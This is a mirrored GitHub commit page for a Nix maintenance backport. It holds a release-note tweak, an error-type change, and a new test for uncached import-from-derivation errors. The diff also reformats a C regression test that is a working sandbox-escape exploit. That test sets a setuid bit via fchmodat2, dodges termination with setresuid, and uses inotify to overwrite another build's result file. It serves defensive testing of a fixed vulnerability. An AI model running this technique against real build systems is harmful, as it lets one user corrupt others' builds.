mirror of
https://github.com/NixOS/nix
synced 2025-07-03 06:11:46 +02:00
Merge pull request #11000 from hercules-ci/backport-10992-to-2.23-maintenance
[Backport 2.23-maintenance] Fix #10947; don't cache disallowed IFD
This commit is contained in:
commit
f80e0832bc
4 changed files with 81 additions and 68 deletions
|
@ -1,8 +1,6 @@
|
||||||
---
|
---
|
||||||
synopsis: Harden the user sandboxing
|
synopsis: Harden the user sandboxing
|
||||||
significance: significant
|
significance: significant
|
||||||
issues:
|
|
||||||
prs: <only provided once merged>
|
|
||||||
---
|
---
|
||||||
|
|
||||||
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.
|
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.
|
||||||
|
|
|
@ -79,7 +79,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS
|
||||||
if (drvs.empty()) return {};
|
if (drvs.empty()) return {};
|
||||||
|
|
||||||
if (isIFD && !evalSettings.enableImportFromDerivation)
|
if (isIFD && !evalSettings.enableImportFromDerivation)
|
||||||
error<EvalError>(
|
error<EvalBaseError>(
|
||||||
"cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
|
"cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
|
||||||
drvs.begin()->to_string(*store)
|
drvs.begin()->to_string(*store)
|
||||||
).debugThrow();
|
).debugThrow();
|
||||||
|
|
|
@ -7,12 +7,22 @@ requireGit
|
||||||
flake1Dir="$TEST_ROOT/eval-cache-flake"
|
flake1Dir="$TEST_ROOT/eval-cache-flake"
|
||||||
|
|
||||||
createGitRepo "$flake1Dir" ""
|
createGitRepo "$flake1Dir" ""
|
||||||
|
cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/"
|
||||||
|
git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix
|
||||||
|
git -C "$flake1Dir" commit -m "config.nix"
|
||||||
|
|
||||||
cat >"$flake1Dir/flake.nix" <<EOF
|
cat >"$flake1Dir/flake.nix" <<EOF
|
||||||
{
|
{
|
||||||
description = "Fnord";
|
description = "Fnord";
|
||||||
outputs = { self }: {
|
outputs = { self }: let inherit (import ./config.nix) mkDerivation; in {
|
||||||
foo.bar = throw "breaks";
|
foo.bar = throw "breaks";
|
||||||
|
drv = mkDerivation {
|
||||||
|
name = "build";
|
||||||
|
buildCommand = ''
|
||||||
|
echo true > \$out
|
||||||
|
'';
|
||||||
|
};
|
||||||
|
ifd = assert (import self.drv); self.drv;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
EOF
|
EOF
|
||||||
|
@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init"
|
||||||
|
|
||||||
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
|
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
|
||||||
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
|
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
|
||||||
|
|
||||||
|
# Conditional error should not be cached
|
||||||
|
expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \
|
||||||
|
| grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled'
|
||||||
|
nix build "$flake1Dir#ifd"
|
||||||
|
|
|
@ -9,74 +9,74 @@
|
||||||
|
|
||||||
#define SYS_fchmodat2 452
|
#define SYS_fchmodat2 452
|
||||||
|
|
||||||
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
|
int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags)
|
||||||
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
|
{
|
||||||
|
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
int main(int argc, char ** argv)
|
||||||
if (argc <= 1) {
|
{
|
||||||
// stage 1: place the setuid-builder executable
|
if (argc <= 1) {
|
||||||
|
// stage 1: place the setuid-builder executable
|
||||||
|
|
||||||
// make the build directory world-accessible first
|
// make the build directory world-accessible first
|
||||||
chmod(".", 0755);
|
chmod(".", 0755);
|
||||||
|
|
||||||
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
|
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
|
||||||
perror("Setting the suid bit on attacker");
|
perror("Setting the suid bit on attacker");
|
||||||
exit(-1);
|
exit(-1);
|
||||||
}
|
|
||||||
|
|
||||||
} else {
|
|
||||||
// stage 2: corrupt the victim derivation while it's building
|
|
||||||
|
|
||||||
// prevent the kill
|
|
||||||
if (setresuid(-1, -1, getuid())) {
|
|
||||||
perror("setresuid");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (fork() == 0) {
|
|
||||||
|
|
||||||
// wait for the victim to build
|
|
||||||
int fd = inotify_init();
|
|
||||||
inotify_add_watch(fd, argv[1], IN_CREATE);
|
|
||||||
int dirfd = open(argv[1], O_DIRECTORY);
|
|
||||||
if (dirfd < 0) {
|
|
||||||
perror("opening the global build directory");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
char buf[4096];
|
|
||||||
fprintf(stderr, "Entering the inotify loop\n");
|
|
||||||
for (;;) {
|
|
||||||
ssize_t len = read(fd, buf, sizeof(buf));
|
|
||||||
struct inotify_event *ev;
|
|
||||||
for (char *pe = buf; pe < buf + len;
|
|
||||||
pe += sizeof(struct inotify_event) + ev->len) {
|
|
||||||
ev = (struct inotify_event *)pe;
|
|
||||||
fprintf(stderr, "folder %s created\n", ev->name);
|
|
||||||
// wait a bit to prevent racing against the creation
|
|
||||||
sleep(1);
|
|
||||||
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
|
|
||||||
if (builddir < 0) {
|
|
||||||
perror("opening the build directory");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
|
|
||||||
if (resultfile < 0) {
|
|
||||||
perror("opening the hijacked file");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
int writeres = write(resultfile, "bad\n", 4);
|
|
||||||
if (writeres < 0) {
|
|
||||||
perror("writing to the hijacked file");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
|
|
||||||
return 0;
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
} else {
|
||||||
|
// stage 2: corrupt the victim derivation while it's building
|
||||||
|
|
||||||
|
// prevent the kill
|
||||||
|
if (setresuid(-1, -1, getuid())) {
|
||||||
|
perror("setresuid");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fork() == 0) {
|
||||||
|
|
||||||
|
// wait for the victim to build
|
||||||
|
int fd = inotify_init();
|
||||||
|
inotify_add_watch(fd, argv[1], IN_CREATE);
|
||||||
|
int dirfd = open(argv[1], O_DIRECTORY);
|
||||||
|
if (dirfd < 0) {
|
||||||
|
perror("opening the global build directory");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
char buf[4096];
|
||||||
|
fprintf(stderr, "Entering the inotify loop\n");
|
||||||
|
for (;;) {
|
||||||
|
ssize_t len = read(fd, buf, sizeof(buf));
|
||||||
|
struct inotify_event * ev;
|
||||||
|
for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) {
|
||||||
|
ev = (struct inotify_event *) pe;
|
||||||
|
fprintf(stderr, "folder %s created\n", ev->name);
|
||||||
|
// wait a bit to prevent racing against the creation
|
||||||
|
sleep(1);
|
||||||
|
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
|
||||||
|
if (builddir < 0) {
|
||||||
|
perror("opening the build directory");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
|
||||||
|
if (resultfile < 0) {
|
||||||
|
perror("opening the hijacked file");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int writeres = write(resultfile, "bad\n", 4);
|
||||||
|
if (writeres < 0) {
|
||||||
|
perror("writing to the hijacked file");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue